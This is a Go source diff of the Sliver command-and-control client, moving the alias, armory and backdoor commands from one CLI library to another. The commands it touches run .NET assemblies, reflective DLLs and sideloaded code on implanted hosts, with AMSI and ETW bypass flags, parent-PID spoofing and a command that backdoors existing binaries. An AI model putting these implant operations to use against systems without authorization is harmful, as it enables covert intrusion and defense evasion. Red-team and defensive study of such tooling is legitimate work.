-	// dirPath := ctx.Args.String("dir-path")
-	alias, err := LoadAlias(dirPath, cmd.Root(), con)
+func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	dirPath := ctx.Args.String("dir-path")
+	alias, err := LoadAlias(dirPath, con)
 	if err != nil {
 		con.PrintErrorf("Failed to load alias: %s\n", err)
 	} else {
@@ -136,7 +132,7 @@ func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
 }

 // LoadAlias - Load an alias into the Sliver shell from a given directory
-func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConsoleClient) (*AliasManifest, error) {
+func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
 	// retrieve alias manifest
 	var err error
 	manifestPath, err = filepath.Abs(manifestPath)
@@ -154,46 +150,52 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConso
 		return nil, err
 	}
 	aliasManifest.RootPath = filepath.Dir(manifestPath)
-
 	// for each alias command, add a new app command
+
+	// do not add if the command already exists
+	if cmdExists(aliasManifest.CommandName, con.App) {
+		return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
+	}
+
 	helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
 	longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
 	longHelpMsg += "\n\n⚠️  If you're having issues passing arguments to the alias please read:\n"
 	longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
-	addAliasCmd := &cobra.Command{
-		Use:   aliasManifest.CommandName,
-		Short: helpMsg,
-		Long:  longHelpMsg,
-		Run: func(cmd *cobra.Command, args []string) {
-			runAliasCommand(cmd, con, args)
+	addAliasCmd := &grumble.Command{
+		Name:     aliasManifest.CommandName,
+		Help:     helpMsg,
+		LongHelp: longHelpMsg,
+		Run: func(extCtx *grumble.Context) error {
+			con.Println()
+			runAliasCommand(extCtx, con)
+			con.Println()
+			return nil
 		},
-		Args:        cobra.ArbitraryArgs, // 	a.StringList("arguments", "arguments", grumble.Default([]string{}))
-		GroupID:     consts.AliasHelpGroup,
-		Annotations: makeAliasPlatformFilters(aliasManifest),
+		Flags: func(f *grumble.Flags) {
+			if aliasManifest.IsAssembly {
+				f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
+				f.String("c", "class", "", "Optional class name (required for .NET DLL)")
+				f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+				f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+				f.Bool("i", "in-process", false, "Run in the current sliver process")
+				f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
+				f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+				f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
+
+			}
+			f.String("p", "process", "", "Path to process to host the shared object")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
+			f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
+			f.Bool("s", "save", false, "Save output to disk")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("arguments", "arguments", grumble.Default([]string{}))
+		},
+		HelpGroup: consts.AliasHelpGroup,
 	}
-
-	if aliasManifest.IsAssembly {
-		f := pflag.NewFlagSet("assembly", pflag.ContinueOnError)
-		f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)")
-		f.StringP("class", "c", "", "Optional class name (required for .NET DLL)")
-		f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
-		f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-		f.BoolP("in-process", "i", false, "Run in the current sliver process")
-		f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
-		f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
-		f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
-		addAliasCmd.Flags().AddFlagSet(f)
-	}
-
-	f := pflag.NewFlagSet(aliasManifest.Name, pflag.ContinueOnError)
-	f.StringP("process", "p", "", "Path to process to host the shared object")
-	f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
-	f.Uint32P("ppid", "P", 0, "parent process ID to use when creating the hosting process (Windows only)")
-	f.BoolP("save", "s", false, "Save output to disk")
-	f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
-	addAliasCmd.Flags().AddFlagSet(f)
-
-	cmd.AddCommand(addAliasCmd)
+	con.App.AddCommand(addAliasCmd)

 	// Have to use a global map here, as passing the aliasCmd
 	// either by value or by ref fucks things up
@@ -241,7 +243,7 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
 	return alias, nil
 }

-func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
@@ -256,18 +258,18 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args
 		goarch = beacon.Arch
 	}

-	loadedAlias, ok := loadedAliases[cmd.Name()]
+	loadedAlias, ok := loadedAliases[ctx.Command.Name]
 	if !ok {
-		con.PrintErrorf("No alias found for `%s` command\n", cmd.Name())
+		con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
 		return
 	}
 	aliasManifest := loadedAlias.Manifest
-	binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
+	binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
 	if err != nil {
 		con.PrintErrorf("Fail to find alias file: %s\n", err)
 		return
 	}
-	// args := ctx.Args.StringList("arguments")
+	args := ctx.Args.StringList("arguments")
 	var extArgs string
 	if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
 		extArgs = aliasManifest.DefaultArgs
@@ -277,7 +279,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args

 	extArgs = strings.TrimSpace(extArgs)
 	entryPoint := aliasManifest.Entrypoint
-	processArgsStr, _ := cmd.Flags().GetString("process-arguments")
+	processArgsStr := ctx.Flags.String("process-arguments")
 	// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
 	// The Donut loader has a hard limit of 256 characters for the command line arguments, so
 	// we're alerting the user that the arguments will be truncated.
@@ -287,10 +289,10 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args
 		// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
 		// if the flag is not registered.
 		if aliasManifest.IsAssembly {
-			inProcess, _ := cmd.Flags().GetBool("in-process")
-			runtime, _ := cmd.Flags().GetString("runtime")
-			amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
-			etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
+			inProcess := ctx.Flags.Bool("in-process")
+			runtime := ctx.Flags.String("runtime")
+			amsiBypass := ctx.Flags.Bool("amsi-bypass")
+			etwBypass := ctx.Flags.Bool("etw-bypass")
 			if !inProcess {
 				msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
 			}
@@ -310,7 +312,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args
 		}
 	}
 	processArgs := strings.Split(processArgsStr, " ")
-	processName, _ := cmd.Flags().GetString("process")
+	processName := ctx.Flags.String("process")
 	if processName == "" {
 		processName, err = aliasManifest.getDefaultProcess(goos)
 		if err != nil {
@@ -327,10 +329,9 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-
 	var outFilePath *os.File
-	if save, _ := cmd.Flags().GetBool("save"); save {
-		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(cmd.Name()), filepath.Base(session.GetHostname())))
+	if ctx.Flags.Bool("save") {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
 		outFilePath, err = os.CreateTemp("", outFile)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
@@ -340,37 +341,26 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args

 	if aliasManifest.IsAssembly {

-		// Flags
-		arch, _ := cmd.Flags().GetString("arch")
-		method, _ := cmd.Flags().GetString("method")
-		className, _ := cmd.Flags().GetString("class")
-		appDomain, _ := cmd.Flags().GetString("app-domain")
-		pPid, _ := cmd.Flags().GetUint32("ppid")
-		inProcess, _ := cmd.Flags().GetBool("in-process")
-		runtime, _ := cmd.Flags().GetString("runtime")
-		amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
-		etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
-
 		// Execute Assembly
 		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
 		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:     con.ActiveTarget.Request(cmd),
+			Request:     con.ActiveTarget.Request(ctx),
 			IsDLL:       isDLL,
 			Process:     processName,
 			Arguments:   extArgs,
 			Assembly:    binData,
-			Arch:        arch,
-			Method:      method,
-			ClassName:   className,
-			AppDomain:   appDomain,
+			Arch:        ctx.Flags.String("arch"),
+			Method:      ctx.Flags.String("method"),
+			ClassName:   ctx.Flags.String("class"),
+			AppDomain:   ctx.Flags.String("app-domain"),
 			ProcessArgs: processArgs,
-			PPid:        pPid,
-			InProcess:   inProcess,
-			Runtime:     runtime,
-			AmsiBypass:  amsiBypass,
-			EtwBypass:   etwBypass,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
+			InProcess:   ctx.Flags.Bool("in-process"),
+			Runtime:     ctx.Flags.String("runtime"),
+			AmsiBypass:  ctx.Flags.Bool("amsi-bypass"),
+			EtwBypass:   ctx.Flags.Bool("etw-bypass"),
 		})
 		ctrl <- true
 		<-ctrl
@@ -386,30 +376,28 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args
 					con.PrintErrorf("Failed to decode call ext response %s\n", err)
 					return
 				}
-				PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
+				PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
 			})
 			con.PrintAsyncResponse(executeAssemblyResp.Response)
 		} else {
-			PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
+			PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
 		}

 	} else if aliasManifest.IsReflective {
-		// Flags
-		pPid, _ := cmd.Flags().GetUint32("ppid")

 		// Spawn DLL
 		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
 		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
-			Request:     con.ActiveTarget.Request(cmd),
+			Request:     con.ActiveTarget.Request(ctx),
 			Args:        strings.Trim(extArgs, " "),
 			Data:        binData,
 			ProcessName: processName,
 			EntryPoint:  aliasManifest.Entrypoint,
 			Kill:        true,
 			ProcessArgs: processArgs,
-			PPid:        pPid,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl
@@ -425,23 +413,21 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args
 					con.PrintErrorf("Failed to decode call ext response %s\n", err)
 					return
 				}
-				PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
+				PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
 			})
 			con.PrintAsyncResponse(spawnDllResp.Response)
 		} else {
-			PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
+			PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
 		}

 	} else {
-		// Flags
-		pPid, _ := cmd.Flags().GetUint32("ppid")

 		// Sideload
 		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
 		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-			Request:     con.ActiveTarget.Request(cmd),
+			Request:     con.ActiveTarget.Request(ctx),
 			Args:        extArgs,
 			Data:        binData,
 			EntryPoint:  entryPoint,
@@ -449,7 +435,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args
 			Kill:        true,
 			IsDLL:       isDLL,
 			ProcessArgs: processArgs,
-			PPid:        pPid,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl
@@ -465,11 +451,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args
 					con.PrintErrorf("Failed to decode call ext response %s\n", err)
 					return
 				}
-				PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
+				PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
 			})
 			con.PrintAsyncResponse(sideloadResp.Response)
 		} else {
-			PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
+			PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
 		}
 	}
 }
@@ -501,38 +487,11 @@ func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly,
 	}
 }

-func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
-	filtersOS := make(map[string]bool)
-	filtersArch := make(map[string]bool)
-
-	var all []string
-
-	// Only add filters for architectures when there OS matters.
-	for _, file := range alias.Files {
-		filtersOS[file.OS] = true
-
-		if filtersOS[file.OS] {
-			filtersArch[file.Arch] = true
+func cmdExists(name string, app *grumble.App) bool {
+	for _, c := range app.Commands().All() {
+		if name == c.Name {
+			return true
 		}
 	}
-
-	for os, enabled := range filtersOS {
-		if enabled {
-			all = append(all, os)
-		}
-	}
-
-	for arch, enabled := range filtersArch {
-		if enabled {
-			all = append(all, arch)
-		}
-	}
-
-	if len(all) == 0 {
-		return map[string]string{}
-	}
-
-	return map[string]string{
-		app.CommandFilterKey: strings.Join(all, ","),
-	}
+	return false
 }
@@ -25,16 +25,14 @@ import (
 	"path/filepath"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
 )

 // AliasesRemoveCmd - Locally load a alias into the Sliver shell.
-func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	name := args[0]
-	// name := ctx.Args.String("name")
+func AliasesRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
 	if name == "" {
 		con.PrintErrorf("Extension name is required\n")
 		return
@@ -63,7 +61,7 @@ func RemoveAliasByCommandName(commandName string, con *console.SliverConsoleClie
 		return errors.New("alias not loaded")
 	}
 	delete(loadedAliases, commandName)
-	// con.App.Commands().Remove(commandName)
+	con.App.Commands().Remove(commandName)
 	extPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(commandName))
 	if _, err := os.Stat(extPath); os.IsNotExist(err) {
 		return nil
@@ -23,20 +23,19 @@ import (
 	"errors"
 	"fmt"
 	"net/url"
+	"strings"
 	"sync"
 	"time"

-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"golang.org/x/term"
-
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/util/minisign"
+	"github.com/bishopfox/sliver/server/cryptography/minisign"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"golang.org/x/term"
 )

 // ArmoryIndex - Index JSON containing alias/extension/bundle information
@@ -105,10 +104,10 @@ var (
 )

 // ArmoryCmd - The main armory command
-func ArmoryCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	armoriesConfig := assets.GetArmoriesConfig()
 	con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
-	clientConfig := parseArmoryHTTPConfig(cmd)
+	clientConfig := parseArmoryHTTPConfig(ctx)
 	indexes := fetchIndexes(armoriesConfig, clientConfig)
 	if len(indexes) != len(armoriesConfig) {
 		con.Printf("errors!\n")
@@ -202,57 +201,40 @@ func bundlesInCache() []*ArmoryBundle {
 }

 // AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
-func AliasExtensionOrBundleCompleter() carapace.Action {
-	comps := func(ctx carapace.Context) carapace.Action {
-		var action carapace.Action
-
-		results := []string{}
-		aliases, exts := packagesInCache()
-		bundles := bundlesInCache()
-
-		for _, aliasPkg := range aliases {
+func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	results := []string{}
+	aliases, exts := packagesInCache()
+	bundles := bundlesInCache()
+	for _, aliasPkg := range aliases {
+		if strings.HasPrefix(aliasPkg.CommandName, prefix) {
 			results = append(results, aliasPkg.CommandName)
-			results = append(results, aliasPkg.Help)
 		}
-		aliasesComps := carapace.ActionValuesDescribed(results...).Tag("aliases").Invoke(ctx)
-		results = make([]string, 0)
-
-		for _, extensionPkg := range exts {
+	}
+	for _, extensionPkg := range exts {
+		if strings.HasPrefix(extensionPkg.CommandName, prefix) {
 			results = append(results, extensionPkg.CommandName)
-			results = append(results, extensionPkg.Help)
 		}
-		extentionComps := carapace.ActionValuesDescribed(results...).Tag("extensions").Invoke(ctx)
-		results = make([]string, 0)
-
-		for _, bundle := range bundles {
+	}
+	for _, bundle := range bundles {
+		if strings.HasPrefix(bundle.Name, prefix) {
 			results = append(results, bundle.Name)
 		}
-		bundleComps := carapace.ActionValues(results...).Tag("bundles").Invoke(ctx)
-
-		return action.Invoke(ctx).Merge(
-			aliasesComps,
-			extentionComps,
-			bundleComps,
-		).ToA()
 	}
-
-	return carapace.ActionCallback(comps)
+	return results
 }

 // PrintArmoryPackages - Prints the armory packages
 func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
 	width, _, err := term.GetSize(0)
 	if err != nil {
-		width = 1
+		width = 999
 	}

 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
 	tw.SetTitle(console.Bold + "Packages" + console.Normal)

-	urlMargin := 150 // Extra margin needed to show URL column
-
-	if con.Settings.SmallTermWidth+urlMargin < width {
+	if con.Settings.SmallTermWidth < width {
 		tw.AppendHeader(table.Row{
 			"Command Name",
 			"Version",
@@ -301,15 +283,13 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
 		})
 	}

-	sliverMenu := con.App.Menu("implant")
-
 	rows := []table.Row{}
 	for _, pkg := range entries {
 		color := console.Normal
-		if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
+		if extensions.CmdExists(pkg.CommandName, con.App) {
 			color = console.Green
 		}
-		if con.Settings.SmallTermWidth+urlMargin < width {
+		if con.Settings.SmallTermWidth < width {
 			rows = append(rows, table.Row{
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
@@ -368,15 +348,15 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
 	con.Printf("%s\n", tw.Render())
 }

-func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
+func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
 	var proxyURL *url.URL
-	rawProxyURL, _ := cmd.Flags().GetString("proxy")
+	rawProxyURL := ctx.Flags.String("proxy")
 	if rawProxyURL != "" {
 		proxyURL, _ = url.Parse(rawProxyURL)
 	}

 	timeout := defaultTimeout
-	rawTimeout, _ := cmd.Flags().GetString("timeout")
+	rawTimeout := ctx.Flags.String("timeout")
 	if rawTimeout != "" {
 		var err error
 		timeout, err = time.ParseDuration(rawTimeout)
@@ -385,14 +365,11 @@ func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
 		}
 	}

-	ignoreCache, _ := cmd.Flags().GetBool("ignore-cache")
-	disableTLSValidation, _ := cmd.Flags().GetBool("insecure")
-
 	return ArmoryHTTPConfig{
-		IgnoreCache:          ignoreCache,
+		IgnoreCache:          ctx.Flags.Bool("ignore-cache"),
 		ProxyURL:             proxyURL,
 		Timeout:              timeout,
-		DisableTLSValidation: disableTLSValidation,
+		DisableTLSValidation: ctx.Flags.Bool("insecure"),
 	}
 }

@@ -21,32 +21,32 @@ package armory
 import (
 	"errors"
 	"fmt"
+	"io/ioutil"
 	"net/url"
 	"os"
 	"path/filepath"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/util/minisign"
+	"github.com/bishopfox/sliver/server/cryptography/minisign"
+	"github.com/desertbit/grumble"
 )

-// ErrPackageNotFound - The package was not found
-var ErrPackageNotFound = errors.New("package not found")
+var (
+	// ErrPackageNotFound - The package was not found
+	ErrPackageNotFound = errors.New("package not found")
+)

 // ArmoryInstallCmd - The armory install command
-func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	name := args[0]
-	// name := ctx.Args.String("name")
+func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Args.String("name")
 	if name == "" {
 		con.PrintErrorf("A package or bundle name is required")
 		return
 	}
-	clientConfig := parseArmoryHTTPConfig(cmd)
+	clientConfig := parseArmoryHTTPConfig(ctx)
 	refresh(clientConfig)
 	if name == "all" {
 		aliases, extensions := packagesInCache()
@@ -159,7 +159,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 		return errors.New("signature verification failed")
 	}

-	tmpFile, err := os.CreateTemp("", "sliver-armory-")
+	tmpFile, err := ioutil.TempFile("", "sliver-armory-")
 	if err != nil {
 		return err
 	}
@@ -176,10 +176,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 	if installPath == nil {
 		return errors.New("failed to install alias")
 	}
-
-	menuCmd := con.App.Menu(constants.ImplantMenu).Root()
-
-	_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), menuCmd, con)
+	_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
 	if err != nil {
 		return err
 	}
@@ -189,9 +186,8 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
 	deps := make(map[string]struct{})
 	resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
-	sliverMenu := con.App.Menu(constants.ImplantMenu)
 	for dep := range deps {
-		if extensions.CmdExists(dep, sliverMenu.Command) {
+		if extensions.CmdExists(dep, con.App) {
 			continue // Dependency is already installed
 		}
 		err := installExtensionPackageByName(dep, clientConfig, con)
@@ -281,7 +277,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
 		return errors.New("signature verification failed")
 	}

-	tmpFile, err := os.CreateTemp("", "sliver-armory-")
+	tmpFile, err := ioutil.TempFile("", "sliver-armory-")
 	if err != nil {
 		return err
 	}
@@ -305,12 +301,9 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
 	if err != nil {
 		return err
 	}
-
-	sliverMenu := con.App.Menu(constants.ImplantMenu)
-	//
-	// if extensions.CmdExists(extCmd.Name, sliverMenu.Command) {
-	// 	con.App.Commands().Remove(extCmd.Name)
-	// }
-	extensions.ExtensionRegisterCommand(extCmd, sliverMenu.Command, con)
+	if extensions.CmdExists(extCmd.Name, con.App) {
+		con.App.Commands().Remove(extCmd.Name)
+	}
+	extensions.ExtensionRegisterCommand(extCmd, con)
 	return nil
 }
@@ -24,7 +24,7 @@ import (
 	"encoding/json"
 	"errors"
 	"fmt"
-	"io"
+	"io/ioutil"
 	"net"
 	"net/http"
 	"net/url"
@@ -33,7 +33,7 @@ import (
 	"time"

 	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/util/minisign"
+	"github.com/bishopfox/sliver/server/cryptography/minisign"
 )

 // ArmoryIndexParser - Generic interface to fetch armory indexes
@@ -79,7 +79,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 		return nil, err
 	}

-	resp, body, _ := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
+	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
 	if resp.StatusCode != http.StatusOK {
 		return nil, errors.New("api returned non-200 status code")
 	}
@@ -427,7 +427,7 @@ func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *ass
 	}
 	defer resp.Body.Close()

-	body, err := io.ReadAll(resp.Body)
+	body, err := ioutil.ReadAll(resp.Body)
 	return resp, body, err
 }

@@ -437,7 +437,7 @@ func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig
 	}
 	resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
 	if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
-		return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
+		return nil, fmt.Errorf("Error downloading asset: http %d", resp.StatusCode)
 	}

 	return body, err
@@ -21,22 +21,19 @@ package armory
 import (
 	"regexp"

-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
 )

 // ArmorySearchCmd - Search for packages by name
-func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Refreshing package cache ... ")
-	clientConfig := parseArmoryHTTPConfig(cmd)
+	clientConfig := parseArmoryHTTPConfig(ctx)
 	refresh(clientConfig)
 	con.Printf(console.Clearln + "\r")
-
-	rawNameExpr := args[0]
-	// rawNameExpr := ctx.Args.String("name")
+	rawNameExpr := ctx.Args.String("name")
 	if rawNameExpr == "" {
 		con.PrintErrorf("Please specify a search term!\n")
 		return
@@ -19,21 +19,20 @@ package armory
 */

 import (
-	"os"
+	"io/ioutil"
 	"strings"

-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
 )

 // ArmoryUpdateCmd - Update all installed extensions/aliases
-func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Refreshing package cache ... ")
-	clientConfig := parseArmoryHTTPConfig(cmd)
+	clientConfig := parseArmoryHTTPConfig(ctx)
 	refresh(clientConfig)
 	con.Printf(console.Clearln + "\r")

@@ -70,7 +69,7 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverCons
 	cachedAliases, _ := packagesInCache()
 	results := []string{}
 	for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
-		data, err := os.ReadFile(aliasManifestPath)
+		data, err := ioutil.ReadFile(aliasManifestPath)
 		if err != nil {
 			continue
 		}
@@ -93,7 +92,7 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
 	_, cachedExtensions := packagesInCache()
 	results := []string{}
 	for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
-		data, err := os.ReadFile(extManifestPath)
+		data, err := ioutil.ReadFile(extManifestPath)
 		if err != nil {
 			continue
 		}
@@ -19,39 +19,36 @@ package backdoor
 */

 import (
+	"context"
 	"fmt"

-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
 )

 // BackdoorCmd - Command to inject implant code into an existing binary
-func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

